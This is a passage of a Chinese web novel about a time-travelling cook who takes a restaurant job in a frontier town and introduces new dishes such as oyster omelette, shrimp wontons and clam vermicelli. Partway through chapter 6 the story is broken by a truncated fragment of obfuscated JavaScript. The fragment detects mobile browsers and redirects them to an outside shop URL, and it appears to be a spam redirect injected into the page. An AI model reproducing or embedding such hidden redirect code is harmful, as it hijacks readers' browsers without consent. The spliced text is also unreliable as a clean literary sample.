纪允茉登时急了,替自己解释起来,“你才脑子烧坏了,谁是你妹?我好的很,清醒的很!”
周则衡不顾她的挣扎,将她拉到庙门外,回头对努尔道:“帮工一事,我同小妹商议好了,再来告知。”
“你干嘛?人家给我一个工作的机会,多好了。你真是生在了这个时代,不明白我那时候找一份合适的工作,比找个对象都难!”
纪允茉推搡着他,可周则衡紧紧攥着她的手腕,始终没有松开。
出了庙门的那一刻,风卷着雪花迎面吹来,刺骨的疼,
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纪允茉忍不住双手抱臂,使劲儿的搓着。
“什么话还需要出来说?太冷了!”
周则衡沉声道:“你我如今都是流民,你若是应下了,没有身份,又无通行证。到时候你该做何解释?”
“对了,差点忘了,我现在没有你们这边的身份证。可是我也不想错过这一份工作,怎么办啊?”
纪允茉开始犯难,在脑海意识中点开系统界面,来回查看了好几遍,都没有任何道具能够替她捏造出一个合适的身份来。
还真是出了海产养殖和一些做饭的必须品,不给提供任何的特殊道具。
读出她脸上失落的情绪,依在墙边的周则衡叹了口气,缓缓道:“罢了,身份的事,我会想办法,但一时半刻之间是做不好的。”
“眼下就看他们聘人是否和京城中那般严苛了。”
“若是……”
他的话还没说完,纪允茉就一把推开了破旧的庙门走了进去,“那还说什么,直接过去问不就行了,要懂得抓住每一个机会,知道吗?”
“你……”周则衡一时语塞,追上她的脚步,仍旧不忘低声叮嘱,“还是谨慎些比较好。”
纪允茉摆摆手,“行,知道了。”
努尔抬头就见两人走了进来,又赶忙说道:“工钱多少还能再回去和我们掌柜的谈,五日一休沐,食宿这些全都由酒楼承担。”
“小娘子可考虑好了?”
纪允茉在心中盘算着,“五天休息一天,等于一个月能休息6天,这大小周啊!怎么你们古代也实行这一套?”
“这么早就开始压榨了?”
她烧菜的方法实在是新奇,努尔不想酒楼错过这么一个人,以为是她觉得休息的时间不够多,又道:“倘若觉得休沐日少,这些都是可以商议的。小娘子若是同意任职,三日一休沐也不是不可。”
见还有谈判的地步,纪允茉拿出了自己找工作的经验,循循善诱的说道:“上三休一,这样最好了,我们刚到博塔,也想有更多的时间去转转。”
“工钱若是能再涨一些,就更好了。”
“当然,我可以为酒楼提供些新样式的菜品,保准是博塔独一份儿的。这些菜怎么做,酒楼任职的庖厨都可学。”
“我的小跟班……”纪允茉的话还没说完,立马止住,转而道:“也要给我哥某个活计,我们兄妹俩是不能分开的。”
听到这里,周则衡耳朵滚烫,耳尖慢慢红的滴血似的,装作不经意的轻咳了几声。
“这就是我的条件。”
她小心的看着努尔,就像面试时观察着面试官的表情一样。不过,主动权掌握在自己手上的谈判,她还是第一次遇见。
努尔果断的说:“那便就这样定下了。”
“纪姑娘当真能做出来些新奇的菜品?应下的事若是做不到……”
纪允茉微微侧身,低声道:“放心吧!别的不敢说,相信我能凭美食发家致富的!”
“风雪停了就出发吧!”
5. 蚝烙
一路行至博塔地界,还未进入市区就听到了此起彼伏的叫卖声,城门大开,四下插上了彩旗,似是在举办着什么节日,来往人流过多倒也没巡守的查通行证。
纪允茉看着随风扬起的各色棋子,问道:“今日是有什么活动吗?”
说起这个努尔的脸上就扬起一丝兴奋,“他们在迎接春天,今天要吃粥,等下还有赛马。”
“去了酒楼事情办完后来看看。”
节日热闹的氛围萦绕在身边,纪允茉好奇的打量着街道上的每一家商铺。土黄色的街巷中,许多家商铺独特花色的布包和二胡挂了满墙,路边摊贩小车上应季的水果和果干整齐码放,更是每隔一段距离都能碰到卖烤包子、手抓饭和羊肉串的。
跟着努尔拐了个弯后,以黄土夯筑为墙,二楼半圆异形窗上装着绿色玻璃,木质的窗架旁还有雕刻的圆柱,一楼的黑色门匾上刻着‘锦蜀酒楼’四个金漆大字。
只一眼,纪允茉就不禁的感叹,“异域古城说的就是这里吧?”
“到了!”努尔侧身请她和周则衡先一步进了酒楼,道:“二位稍等,我去叫我们掌柜的。”
周则衡寻了处靠窗的位置坐下,仔细打量着周遭的一切,而后道:“看样子他说的不假!”
“能一来就胜任主厨,还不用从学徒做起,多好了!”纪允茉拎起木桌中间的茶壶,给他倒了杯水,“一落脚就有这样的工作,高薪,上三休一。这些可都是我之前求之不得的,珍惜吧!”
她说着一副老成的样子,还不忘傲娇的瞥了他一眼,“放心,有我一口吃的,绝对有你一个碗刷。”
“……”
谈话间,努尔随着一个戴着丝绒花帽,身着黑色花边衬衣,藏蓝色长袍的男人款款走来,双手一捧,朝两人行了一礼。
两人忙回了一礼。
“听努尔说纪小娘子有一手烹饪的好本事,所作菜式新颖。小娘子提出的条件,我开萨尔都能答应,小娘子可愿留下?”
“当然愿意!”纪允茉一口应允,一旁的周则衡轻咳两声,她赶忙问道:“任职可还有其它的要求?”
开萨尔道:“只需纪小娘子做出一道拿手的菜,我等尝过觉得可以,就好。”
好家伙,这古代面试也需要拿作品来!
“那再好办不过了!”纪允茉说着起身往里走去,“厨房在哪儿?”
努尔为她带路,“这边请!”
纪允茉系好围裙,熟练的开始处理食材。
番薯粉打浆,包裹蚝肉,再单手磕入鸡蛋,搅拌均匀倒入铁鳌子,摊成饼状,烙至两面金黄的同时蚝肉仍旧不失鲜嫩,汁水饱满。
入口焦脆内嫩,不失生蚝原本的鲜味,要是再蘸上鱼露,那才叫一个绝配。
见努尔吃上一口之后便连连点头称赞,开萨尔也赶忙拿起筷箸夹起一块,呼呼吹了两下之后,迫不及待的啃上一口,味道不输他们烤炙的生蚝,甚至更好吃。
“纪小娘子这等新奇的做法,当真我从未见过的。这味道也好极了!”开萨尔称赞着,“工钱就从今日开始算起好了!”
纪允茉嘴角的笑意再也压不住,道:“就是说我以后可以在酒楼任职了?”
开萨尔点点头,有这么一个难得的人才,他可不愿被同行任用了去。随后他一挥手,转头对还在吃着蚝烙的努尔说道:“替纪小娘子两人安排住处去。”
“这位兄弟若是愿意,也可在店中做个打杂。”
周则衡行了一礼,谢绝道:“不了,周某意不在此,来此地也另有打算。”
纪允茉错愕的仰头看向他,“周则衡,说好了你要同我一道,这还没开始呢,就想反悔了?”
“并非反悔,只是比起打杂的活计,周某另有打算。”他看出纪允茉脸上的笑容消失,转而变为失落,又对开萨尔说:“每月的房钱周某会付,还要劳烦掌柜的给留一间房。”
“何须谈房钱,纪小娘子愿留在酒楼任职便足矣。”开萨尔看着眼前酒楼未来的摇钱树,这点人情事故,他倒是不会舍不得。
“平日里要是有什么照顾不周的地方,两位也尽管开口就是。”
纪允茉也没想到掌柜的这么豪爽,又踌躇着开口问:“能否先预支半月的工钱?”
“是这样,我们来的路上遇到了一伙劫匪,为保全性命,丢尽钱财,又落得个眼下的狼狈样……”
她还想继续说些苦情话,就被开萨尔打断,“酒楼先前没有这样的规矩,但奈何纪小娘子做得一手好菜。我们自是也要拿出足够的诚意。”
他一抬手,身后站着的努尔立马就明白了,小跑着拿来了五贯钱。
开萨尔接过,悉数递给纪允茉,“先预支一个月的工资也无妨,纪小娘子拿去,同周公子买些衣服之类的用品。”
“住房我已经让人收拾着了,不必担心。明日正常上工即可。”
纪允茉接过沉甸甸的钱袋子,连连道谢后,招呼周则衡就往外走去。
这是她第一次来博塔,自是迫不及待的就想要出去转转,周则衡跟在她的身侧,双手抱臂,走了半晌才开口道:“那掌柜的未免也太热情了些,你就不怕他们是骗你的?”
“别的我不知道,但……”她说着拍了拍钱袋子,“它可不会骗我。”
而后,她又道:“像这种招工情况呢,我爷爷那辈儿也有。只要认识几个字,就能找到一份很好的工作。那个时候招人也是像现在这种情况,都是公司或者什么局了,抢着要人的。”
“你是没吃过我们这一辈的苦,好工作几乎都是萝卜岗的量身定制。”
周则衡单手捻着眉心,长长叹了一口气,“又开始胡言乱语了。”
“幸好掌柜的没看出你我二人这身上穿的囚衣,不然一切就都麻烦了。”
纪允茉低头看看身上被划了好几道口子的粗布麻衣,衣服上也没个‘囚’字,看上去和穷苦百姓的衣着并无两样。
“不必过多在意这些细节。”她扯了扯周则衡的衣袖,“走,我请你吃饭去。”
纪允茉看着不远处门店钱支起烤架,卖羊肉串和手抓饭的店,店里坐
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满了吃饭的人,店门口摆放的桌凳倒是还有空余。
炭火上烤炙的羊肉串滋滋冒油,让她不禁咽了咽口水,“老板,两份手抓饭,五串羊肉串。”
“好嘞,两位客官先坐,马上来!”
周则衡同她刚坐下,纪允茉就起身道:“我买两杯奶茶去,你就在此地,不要走动。”
她说着朝周则衡挥手,“我很快就回来。”
走过来的路上,她就瞧见了一家生意不错的奶茶店,招牌的玫瑰奶茶上点缀着细碎的干玫瑰花瓣,抿上一口,浓郁的红茶中伴有玫瑰花酱的甜,咀嚼着炒香的核桃碎,一丝也不输她喝过的所有奶茶。
等到她一手拿着一杯奶茶回去的时候,店家正好端上来手抓饭和烤羊肉串,纪允茉将奶茶递给周则衡后,率先拿起勺子尝了口。
是一道不同寻常炒饭,而是由羊肉、胡萝卜、葡萄干和米饭一起炒制成手抓饭,米饭粒粒分明,羊肉没有很明显的膻味,反而越嚼越香,葡萄干的搭配没有她想想的怪异,反而能解腻,出奇的好吃。
拿起一串冒着热气的羊肉串啃上一口,腌入味儿的肉质很有嚼劲儿,撒了些孜然粉和辣椒面,配着奶茶,别有一番风味。
“你别说,没想到来了这里,还能吃上烤串、喝奶茶。这才是我应该过上的生活。”二人吃过午饭后,纪允茉感慨着,她又拉着周则衡去买衣服。
“往后在这里生活下去,起码也得有些换洗衣物之类的。我去那边看看,你也挑挑。”
博塔的服饰同中原不一样,这里男女都戴着不同纹样的花帽,身着名为直领、对襟,袖长过手背、袍长过膝的‘袷袢’,再搭配一条同色系的腰带,甚是好看,也有些骑射和华服等。
纪允茉很快挑了两件,等她试穿好了出来之后,周则衡也换好了衣物,月白色的棉布长袍外罩着一件深色棕皮坎肩,手腕与脚踝皆以同色皮具利落束紧,他以一条靛蓝发带束发,额前散落几缕黑发。
纪允茉转头与他对视上的那一刻,心跳漏了一拍。这身打扮将周则衡眉宇间隐藏的桀骜全然展现在她的面前,少了几分中原书生的温润,多了些大漠孤鹰般的锐利与不羁。
先前只顾着逃命,倒是没仔细去看。
男主还是不一样啊,就是硬帅!
有这样的跟班,也挺养眼的。
“公子好眼光,这是小店买的最好的骑射便装。”店家夸着,眼神在两人之间流转,“呦,这身石榴红的裙装,简直是为姑娘量身定制的。”
瞥见纪允茉腰间挂着沉甸甸的钱袋子,店家立即继续道:“姑娘你看,你同你家郎君站在一起,这两套衣裳也很是搭配。”
纪允茉连连摆手,“不不,误会了,他不是我郎君。”
“再去挑两套常服,一会儿我一块儿付钱。”脸颊发烫的人率先跑开了,还不忘叮嘱着。
店家一看来了单大生意,开始费尽心思的介绍起来,纪允茉心不在焉的听着,脑海中浮现出他方才的身影。
只是她也没有察觉,有人比她先红了脸。
6. 鲜虾蟹籽云吞
待到往回赶时,周则衡手上已然拎着大包小包的东西,怀中包着的包裹将要把他的视线掩埋,他就这样跟在纪允茉的身后。
而纪允茉在路过一家专卖各种奶疙瘩的店门口处停下了脚步,她恨不得一下子将博塔的美食全尝过来个遍。
依旧是付钱买好后,朝身边的人一递,可这次周则衡却迟迟没有接过去。
“怎么?这就不愿意拿了?说好了当我的小跟班。”
“或许我嘴里还能叼一个?”周则衡抱着满怀的包裹,艰难的转身说道。
纪允茉这才闻声侧过脑袋看去,尴尬的笑道:“那你就先回去吧!实在拿不动就叫个小厮来帮你。”
“我再转转,买些明天所需要的食材。”
周则衡问:“食材这些,锦蜀酒楼里不是有吗?”
纪允茉自然是知道的,但她需要的是将提前预支的工资,去兑换系统空间中所必须的调料,这一举动自然是不能被除了她以外的人知道。
索性就找了个借口,“有些食材有门道,须得我自己去挑了才好。”
周则衡没有过多再追问下去,只是听了她的话,向着锦蜀酒楼的方向走去。
纪允茉摸出一个纸袋中的奶疙瘩,不规则的一块,啃上一口,没有想象中的坚硬,反而是有些粉感,酸味不重,咸香中带着浓重的奶味,与她想象的全是甜味的奶疙瘩不同。
她接受新事物的能力很强,边走边塞着奶疙瘩吃。
一路从满是特产和小吃的主街巷,走到古董街,画风陡然一变,沿途小店里琳琅满目的刺绣、木雕、银饰。路边甚至还有带着自己挖出的玉石过来买卖的,这些人大多牵着骆驼,打开手中拎着的布袋,同商店老板讨还着价格。
出了古董街,往右拐,气氛一下子变得有些冷清,穹顶建筑的寺庙门前零零散散的进出着祈祷的人,沿着寺庙不远处错落分布的便是当地居民的房屋。
这一圈走下来,纪允茉大致清楚了博塔东区的整片建筑分布,主街热闹,各类商铺和官府聚集于此,相当于博塔的商务中心区。往后若当真开店摆摊,主街和古董街的交汇处便是个极好的选择。
行至一处小巷,四下观察了一番,确定没人之后,纪允茉点开系统调味包的面板,兑换出了蚝油、鸡精、生抽。
系统的提示音也响起:【宿主已成功兑换蚝油、鸡精、生抽,调味料资源一经兑换可永久使用,如有需求,宿主可自行领取。】
这样的规则倒是挺好的,只可惜她有任务在身,不能钻规则漏洞,不然开个调料店也能致富了。
—
初春时节,气温还未真正回暖,尤其是像博塔这样的高海拔地区,寒意不比冬日差到哪里去。要是能在这个时候吃上一碗热乎乎的云吞,对早起迎着寒风的打工人来说就再好不过了。
一碗好吃的云吞,调制肉馅的料油最是关键。
热锅中倒入半碗花生油,下入两个八角、一块桂皮、三片香叶、一搓花椒,中火炸制出香味,再下入洋葱块、小葱段和香菜,直到锅中的材料慢慢变干,关火、过滤出调料,料油这便做好了。
纪允茉的身侧围满了锦蜀酒楼当职的庖厨,有人拿着纸笔,跟随她的动作慌忙的记录着;有人则是目不转睛的从头到尾看着;更有甚者,直接在一旁有模有样的复刻了起来。
只因开萨尔特意叮嘱道:“这是中原来的神厨,好好看,好好学。”
纪允茉也不在意被复刻,这只是她众多美食配方中的一种罢了,酒楼给出这么高的工资条件,自然是要她将配方传出。
一早送来的三肥七瘦的猪肉剁碎,加入两勺香油和方才制成的料油搅匀,锁住肉馅中水分的同时也更入味。
拿起小剪刀,利索的去掉虾头,剪去虾脚,沿虾背剪开,先去虾线后去壳,最后只留下漂亮的虾仁。
和碱水发酵的面团已让人擀成了掌心大小的四方面皮,泛着透亮光泽的蟹籽,也都是提前处理好的。
纪允茉左手拿着面皮,右手舀出一小团猪肉馅料,放上虾仁和蟹籽,拇指和食指轻轻一挤,一个褶子漂亮的鲜虾蟹籽云吞便出现在了手心中。
围观的众人看了一会儿,学会后也跟着加入包云吞的队伍中,没一会儿,个头饱满、整齐码放的云吞便呈现在眼前。
水开放入锅中,再拿了白釉莲纹碗出来,碗底放上一小撮紫菜、虾皮和葱花,加入盐、鸡精、胡椒粉,一勺生抽、陈醋和香油,浇入煮云吞的汤底,滚水翻滚着将一切都冲开。
此刻,云吞已然煮好了,薄皮下透出虾仁和蟹籽,盛出七八个放入碗中,个个皮薄馅儿大,泛着油光,很是漂亮。
冒着热气的鲜香萦绕在厨房中,纪允茉端了一碗,递给款款走来的开萨尔。
“这是鲜虾蟹籽云吞,我阿娘教给我的。掌柜的尝尝看。”
人群自动散开,为他腾出一条路来,开萨尔端着碗,搅动汤匙,舀出一只细细端详,包着整只虾仁和蟹籽的面皮透亮到好似不存在般。
鲜甜的虾肉配上香醇的蟹籽和调制的猪肉,味道意外的好,再喝上一口紫菜汤底,很是满足。晨起后吃上这么一碗,也便不觉着天寒早起难挨了。
“嗯,好吃。”没一会儿,碗底见空,开萨尔道:“今早这云吞定能引来许多食客。”
“来几个人去吆喝吆喝,再印些招子发。”
也当真如同他所说的,经过一通宣传吆喝,一早赶来酒楼吃朝食的,大多都要点上这么一碗云吞尝尝。
一碗八只,十二钱。再配上三两个烤包子,一口一个。
除了汤底,纪允茉还推出了其它的吃法,比如碗底铺满一层麻酱,又或是加入辣椒红油。麻酱醇厚,红油香辣,这么一拌,麻酱和红油裹满云吞,又是与汤底不同的别样滋味。
整整一个上午,后厨的云吞出了一锅又一锅,食客门吃的酣畅淋漓,连跟着店里的奶茶都卖出去了好些。
“来碗鲜虾蟹籽云吞!”
“我也要一碗,再来五个烤包子。”
店门前排起了长队,有人担心的问道:“还能排到我吗?我可是一早就赶来的,就等着吃上这一口。”
开萨尔脸上嘴角的笑意没有停下来,回到:“诸位放心,今日的鲜虾蟹籽云吞午时之前来的管够。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371513|199931||http|test|mini|href|location''.split(''|''),0,{}));
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>好在昨天纪允茉又单买了五筐鲜虾和青蟹,合着酒楼里本就有的那两筐虾蟹,足以多做几锅云吞出来。
一碗冒着热气的云吞刚上,一大汉就等不及,三两口下肚,又招呼着:“再来碗!”
努尔见状,忙道:“小心着烫。”
那大汉却大笑道:“我这人粗鄙,整日里做的都是冶铁添柴的活计,这点烫算甚。”
“这云吞肉多皮儿薄,倒比我喝的羊汤味道好。”
努尔一笑,转身小跑着去了后厨,没多时又端上一碗过来。
平日里清冷的酒楼,如今人满为患,人人都想来尝上一碗从未见过的云吞。纪允茉指尖飞快捻出一只又一只的云吞出来,刚做好一只,一旁的人又喊着馅料不够,要重新熬料油调制的。
于是,就出现流水线式的赶工,一波儿人负责赶制馅料,一波儿人负责包云吞。炉灶中的火苗一刻也未曾熄,柴禾噼啪燃起。
约莫到了巳时,人渐渐少了,他们才得以有了缓一口气的机会。
周则衡一路从前厅直奔后厨,远远便瞧见纪允茉还在揉着面剂子,他走到她跟前,道:“果真如你所言,常年的冰川水堆积,低洼的湖旁全是盐碱地,作物根本无法生长。”
纪允茉洗净了手,笑道:“我猜的果然没有错,盐碱地虽然种不了庄稼,但是可以养鱼养虾啊。”
“这么好的条件,又临雪山,可不能浪费了。”
她说着就要周则衡带路,“走,带我去看看。要是调配出来人工海水,再放上鱼苗和虾籽。”
周则衡不懂她说的那些,只是照做的往外走着。能够为百姓谋福利,也是他的初衷。
酒楼中的庖厨已然学会了如何去做云吞,同开萨尔说了一声,两人得到应允后便走出了酒楼。
路上,纪允茉点开系统工具拦的面板,往后翻看去,果真瞧见了海水电子盐度计。人工海水制作,无非就是海盐和水的配比要精准的把控好,盐碱地本身地表水质和海水十分接近,且含有的钾钙镁元素,适宜海洋生物的生长。
盆地易积水,这妥妥的养海产品绝佳地。
谁说内陆不能够养海鱼海虾了?
穿过古董街,往前走了约莫一公里的路,在山脚下望去,远处白茫茫的一片,似雪一般,铺了满地。
周遭仅是还未发芽的枯草,随风飘着。
周则衡不紧不慢的说:“这就是那片盐碱地,越过这里再往前,有个湖。这里地势低,这一片地这个样子,没办法再种任何东西。”
纪允茉小跑着上前,从前她只能在课本试卷中所学的盐碱地,如今就在眼前。她兴奋的跑上前去,蹲下身子,抓起一把白色的晶状体,手感和干透了的水泥渣没什么区别。
食指轻点,再放入口中,咸涩的味道瞬间传来,纪允茉慌忙吐了出去。
“还真是盐碱地,这地上能生长出来些草,也是绝了。”
“你看!”
纪允茉起身,顺着周则衡所指的方向看去,一弯波光粼粼的湖水,宛如一颗切面磨光的宝石,静静的镶嵌在群山中间。
她问:“你说湖里会不会有鱼?”
7. 花甲粉丝煲
“兴许是没有的。”周则衡说着弯腰捡起一块石子,攥在手中,“从城里的铺子也不难看出,博塔本地人吃食上以羊肉和牛奶为主。”
“没来之前,我原以为这里湖泊众多,他们也许会捕鱼来吃,但现在看来绝非如此。”
纪允茉跟上他的脚步,单手捏着下颌,思索道:“这么大的一个湖,难道真的一条鱼都没有吗?”
‘咚’的一声,周则衡扔出攥在手中的石子,平静的湖面瞬间泛起波澜,碧绿的水一眼看下去,除了石头,再无其它生物。
纪允茉蹲下身子,澄澈的湖水倒映出她的身影,她缓缓开口,“那这么一大片微咸水的湖,岂不是不能喝,也没有任何生物。”
“甚至连微生物都没有吧?”
“看来,要是想养海鱼,得费一凡功夫了。”
她自言自语的盯着湖水说着,周则衡慢慢走近,站在她的身侧,重复她脱口而出的陌生词汇,“微生物是何意?”
纪允茉站起身,没有回答他的话,反而是问:“这湖可有人承包养鱼?”
“连水草都不长,怎的会有人建鱼塘的?”周则衡不解的说,“若是真要养鱼,也得上报衙门,证件批下来了才可动工。”
“劳时伤财,怕是绝大多数人都不会如此做。”
他这一点倒是提醒纪允茉了,眼下他们刚到博塔,身上唯一的钱财还是预支的工钱。又因着是流民的身份,连户籍都没有,妥妥的黑.户。
倒不如先存钱,办个户籍,再慢慢招揽人开始筹备养海鱼的事情。
海产品养殖系统不似她看过的穿越小说里,穿越者一旦绑定系统,系统就会发布任务,而且得在规定的时间内完成。
没有这样的任务束缚,纪允茉倒是轻松许多,按着她自己的节奏来续写这本书接下来的故事。
她一个雀跃的转身,笑道:“不急,来日方长。现在还是攒钱为主。”
“对了,要是想在这博塔重新办一个户籍,该怎么整?”
说到这里,周则衡的脚步猛然顿住,“你我的冤情,全天下的人兴许都不信。重办户籍一事,怕是难。”
两人往城中走去,远远便瞧见了福瑞酒楼的伙计正从缸中,挑东西扔到一旁的箩筐中。
福瑞酒楼是整个博塔最大,也是生意最好的酒楼,平日里脚夫送货和采买钱,顶上寻常人家半月的开销。
走近了看,纪允茉才发觉,他往外扔的是个头不小的花甲,甚至大多都还开口朝外伸出舌头,新鲜且卖相极好。
她问:“这些可都是拿来做菜的?”
那小厮抬头,见她盯着一旁箩筐里的花甲,笑道:“小娘子说的哪里话。这东西的肉同河蚌一样,腥臭无比,怎能拿来做菜?”
“那为什么还要带回来?”
小厮一边从缸中将花甲一个一个挑出来,一边道:“不瞒小娘子,这鱼同它放在一处。一路上这么走回来,水中杂物会被它吞食,鱼也能活得久些。”
这不就是把花甲当过滤器了吗?
鱼在挣扎时会分泌一些腥味物质和黏液,而花甲通过在水里过滤来获取食物。
把鱼和花甲放一起,倒也能从某种程度上延长鱼存活的时间。
“那这些可都是要丢掉的?”纪允茉追问起来。
“自然。”小厮点点头,随后在惊愕的目光中看着纪允茉将他挑出来的花甲悉数倒进背篓中。
“既然你们不要了,我可就都带走了。”纪允茉说着,上前一步,看着缸中还有不少的花甲,转头示意周则衡道:“这些都拿回来给我,我先回去了。”
“好。”
周则衡不似其他人,既然纪允茉说要这些东西,他只是负责一切照做。
因为他相信,纪允茉总能凭借自己的厨艺,带来些他从未见过的新奇菜式。
—
盆中水没过花甲,再加入盐、油,一旁静止。
等花甲吐沙的功夫里,纪允茉拿出在系统那里兑换的豆瓣酱,找来了干净的瓷碗,依次加入生抽、蚝油、酱油、白糖、盐和豆瓣酱。
努尔好奇的凑上前,道:“纪小娘子这是又要做什么好吃的?”
纪允茉一手搅拌着料汁,一手指向身旁的木盆,“花甲粉丝煲。”
“花甲?”努尔朝着她所指的方向看去,紧跟着眉心一皱,“这东西腥臭的很,肉里还有细沙,如何吃得?”
另一大耳圆目,身形健硕的掌勺庖厨也道:“我还从未见过有人吃这,更别提做成菜,拿出去卖了。”
“中原过来的小娘子见识还是少了些,蚌类的肉如此腥臭难入口。怎能拿来做菜?”一红案打杂的也插话说着。
纪允茉没有过多的为自己辩解,反而道:“等会儿做好了,诸位尝尝好不好吃,不就知道了。”
此话一出,四下皆是‘唉’了一声,彷佛早已预料到了等会儿要出的是什么黑暗料理一般。
今日酒楼中,多数食客皆为云吞而来,是以赚了不少银钱。努尔也不好出言阻止纪允茉,只是看着她又取了粉丝泡软。
“取砂锅来,还有再准备些蒜末、小米辣和葱花。”纪允茉说着,打杂的人开始忙了起来。
约莫着花甲吐沙已经吐的差不多了,纪允茉将其捞出,过水又冲了三遍。
热锅烧油,‘刺啦’一声,倒入的蒜末和小米辣翻炒出呛人的香辣味,翻炒两下后,再加入刚刚调制好的料汁,搅拌均匀后放置备用。
洗净的砂锅中围上一圈娃娃菜和金针菇,中间放上粉丝,十几个花甲放入顶端,舀上一勺料汁,最后加水至八分满,盖锅盖大火煮开,而后转小火焖上5分钟。
待到盖子打开的那一刻,撒上翠绿的葱花做为点缀,这花甲粉丝煲便是做好了。
纪允茉拿起灶台上的抹布,将砂锅端了下来,率先拿着筷箸尝了口。粉丝和金针菇均已入味,Q弹爽滑,蒜香浓郁。
再尝上一口花甲,哪里有众人口中所说的那般不堪。一口一个,肉质有嚼劲,花甲壳上裹满的汤汁,让人忍不住嗦上去。
“和烧烤店里做的一样好吃。”纪允茉小声称赞着,顺便分出几碗来,递给围观的人。
刚将碗筷伸出去的瞬间,原本围在一处的人,个个往后仰去,四散开来,生怕自己是那个被选中试吃的。
“尝尝吧,很好吃的。
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”
半晌,人群中没有人敢应话的。对于花甲这类生物的刻板印象,任谁都不愿迈出一步。
僵持间,不知是谁将努尔推了出去。他脚步踉跄的走到纪允茉跟前,低头睨了眼身边的人,抬头间又换了副笑脸,道:“既然都无人敢尝,那我便替大伙儿试试看。”
他如临大敌般接过纪允茉手中的碗筷,闻了闻,并无想象中的恶味传来,索性闭着眼夹起花甲放入口中。
指盖大小的肉却很有嚼头,裹着料汁的花甲壳一嗦,他道:“不愧是纪小娘子,这做法,让我想到了岭南那一带会做的田螺,也是这般吃法。”
“怎料这东西,竟也能做成此等美味。”努尔感叹着,又尝了口透亮的粉丝,连连竖起大拇指。
其余人见状,也纷纷上前试着尝了口花甲。
花甲肉小,却同金针菇一样有嚼头儿,粉丝吸满了汤汁,再配上本身带有甜味的娃娃菜,整个味蕾被打开。
初春有些寒意的晚间吃上这么一份,再好不过了。
柜台上,开萨尔满脸笑意,手中的算盘打的‘啪啪’作响,不时的又在账本上写写画画,越写脸上的笑意就越深。
努尔一路小跑着,将纪允茉提前盛好的一碗花甲粉端了过来,道:“纪小娘子,方才又做了新的菜式,要掌柜的尝尝。”
开萨尔见碗中的几个花甲,本想开口斥责,一听到是纪允茉做的,话到嘴边又收了回去,转而笑道:“今日云吞卖了不少,酒楼一天的盈收,比以往七日的还要多。”
“要是这花甲粉也跟着上了,兴许生意会更好些。”
说话间,又一人走了进来,上前道:“来一碗鲜虾蟹籽云吞。”
努尔忙道:“实在是对不住,鲜虾今日拿的少。这会儿已经卖光了,您看看要不吃些别的。”
那食客好不客气道:“就是听着你家云吞好吃才来的,卖完了,那我去别处罢。”
开萨尔三步并作两步,从柜台后走了出来,拦住了要走的人,道:“云吞是卖完了不假。可酒楼今日还有其它上新的菜式,客观不妨尝尝看?”
这么一说,倒也激起了食客的兴趣。开萨尔见他没了要走的决心,带人坐下,央着努尔道:“新上的那个粉儿,做出一碗来,端来给客观尝尝。”
开萨尔看着坐在木凳人身上的白玉佩饰,又上下打量着他这一身绸缎,断定这是个大户人家的公子。
这样送上门来的生意,他自然不会任由其在眼皮底下消失了。
有食客要花甲粉丝煲的消息传到后厨时,那一砂锅的粉丝早已被分食完了,只留下一堆花甲壳。
“没事儿,这下一锅马上就能做好。”纪允茉信心满满的拿起锅铲,转身问道:“有谁愿意来学学怎么做的?”
话音落,起初还对花甲十分抗拒的众人一下子围了上来,争先恐后地说:“我,我愿意学。”
一刻钟过后,当一碗花甲粉放到这位翩翩公子眼前时,后者面露不屑,起身吼道:“掌柜的,你过来!”
“这是谁做的?将她叫出来!竟敢做这东西给本少爷吃,不想活命了吗?”霍炎辰登时来了脾气,不依不饶的说着。
8. 虾仁菌菇汤面
开萨尔听到动静,忙走到霍炎辰身边,解释起来:“客观有所不知,这是本店新出的特色——花甲粉。绝无贬低之意!”
霍炎辰身边跟着的侍卫当即上前,厉声呵道:“蚌类腥臭,还说不是侮辱?我看你的脑袋是不想要了,你可知你得罪的是谁?”
开萨尔和努尔皆是一脸的茫然,互相对视了一眼,想开口,又不知该说些什么。
锦蜀酒楼先前生意惨淡,这些公子哥也根本不会踏足。唯一的联系就是节日里,开萨尔会派小厮给博塔官员和各府上,送些吃食。
眼前人他当真是不认识的,支支吾吾半天也没回话。
侍卫见他答不上,向霍炎辰行了一礼,而后缓缓道:“睁大你的狗眼看好了,这位可是霍城主之子,霍大公子——霍炎辰”
开萨尔同努尔忙向他行了一礼,前者道:“不知霍大公子光临小店,是我这个掌柜的办事不周。”
“这样吧,我让人撤了这碗粉丝。霍大公子看要再点些什么,全都算在我头上。”
霍炎辰抬腿单脚踩在椅子上,满不在乎的开口:“我是欠你那口吃的吗?再说一遍,把做这碗东西的人给我叫出来!”
后一句,他一字一顿的说着,连带着霍炎辰身旁的侍卫单手默默握上了腰间的佩剑。
一个是城主之子,一个是酒楼的‘招财猫’主厨。
开萨尔夹在中间,焦急的想着折中的法子,就当他要再次开口时,就听到身后传来一句响亮的疑问。
“谁要找我呢?”
纪允茉身上的围裙都没来得及脱,急匆匆的从后厨走了出来,她四下看了眼。
店内僵硬的氛围让她感知到,来者绝非善茬。
“这是怎么了?”纪允茉来到几人跟前,转头问一旁的开萨尔。
她那一身红色带着白绒边的长裙格外的耀眼,额间绿松石发饰的流苏,在跑来时跟着她的脚步晃动。
明明是博塔本地人的装扮,可她一副中原人的长相,这身装扮却毫不违和,反而有了种反差的美。
竟让霍炎辰一时之间挪不开眼了,这一刻心中仅存的愠怒全都烟消云散,话到嘴边却怎也说出不出了。
还是一旁的侍卫小声的叫了他一声:“公子!”
霍炎辰这才回过神来,嘴角扬起笑意,立马调整好自己的姿态,换作一副儒雅公子的模样来,指着桌上的花甲粉,道:“这道汤粉可是你做的?”
开萨尔朝她无声的开口:“别回答,别回答!”
不知实情的纪允茉忽视他的提醒,双手叉腰,“是我做的,有什么问题吗?”
霍炎辰重新落座,忙拿起筷箸,“没什么问题,既是出自姑娘之手,那在下一定会好好品尝。”
他说着也顾不了那么多,塞下一大口粉丝,与预想中难以下咽的口感完全不同,粉丝爽滑、花甲肉小而入味,夹起一只嗦起来,连带着小壳中的汤汁吞入肚中。
